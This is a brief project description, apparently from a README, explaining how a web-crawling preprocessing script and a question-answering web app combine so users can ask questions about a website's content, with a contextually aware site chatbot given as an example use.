Integrating preprocess.py and app.py creates a workflow that bridges web crawling and NLP-driven question-answering. Initially, preprocess.py lays the foundation by collecting and preparing the data, which app.py subsequently utilises to offer real-time answers. This allows the system to provide contextually relevant answers informed by the specific context. Users interact with the system through a straightforward web interface, making complex NLP capabilities accessible to anyone with a question to ask.

Use-cases

Together, these scripts leverage sophisticated machine learning capabilities to demonstrate how existing website data can be harnessed to build robust and interactive AI-driven ways to retrieve and discover knowledge.

For example, the basic capabilities demonstrated in this project could be applied to create a contextually-aware chatbot on a website.